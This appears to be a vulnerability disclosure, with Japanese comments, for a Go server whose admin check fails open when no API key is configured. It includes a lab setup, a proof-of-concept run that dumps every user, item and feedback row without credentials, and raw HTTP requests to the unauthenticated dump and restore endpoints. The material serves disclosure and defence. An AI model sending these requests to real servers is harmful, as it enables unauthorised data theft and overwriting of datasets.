func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- フェイルオープン: キーが未設定 => 全員が管理者
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // すべてのユーザー、アイテム、フィードバック行をストリーム出力
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — データセットを上書き
}

# 1. 脆弱なサーバを起動（公式イメージ、デフォルト設定＝認証なし）
docker compose -f lab/docker-compose.yml up -d
#    --playground により、実際のユーザー/アイテム/フィードバックデータセットがシードされ、不正取得可能になります。

# 2. PoC を実行（認証情報不要）
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

[*] GET http://127.0.0.1:8088/api/dump  (X-API-Key ヘッダなし)
[*] HTTP 200  content-type: application/octet-stream

[+] 認証なしデータ不正取得を確認
    users    : 2079
    items    : 22320
    feedback : 331901
    payload  : 262747105 protobuf bytes
    sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (X-API-Key ヘッダなし、EOFのみの本文)
[+] HTTP 200 (401ではない) - checkAdmin をバイパス: /api/restore は認証なしで書き込み可能です。

GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088

POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<ダンプストリーム: int64 LE マーカー (-1 ユーザー, -2 アイテム, -3 フィードバック, 0 EOF) + 長さプレフィックス付き protobuf>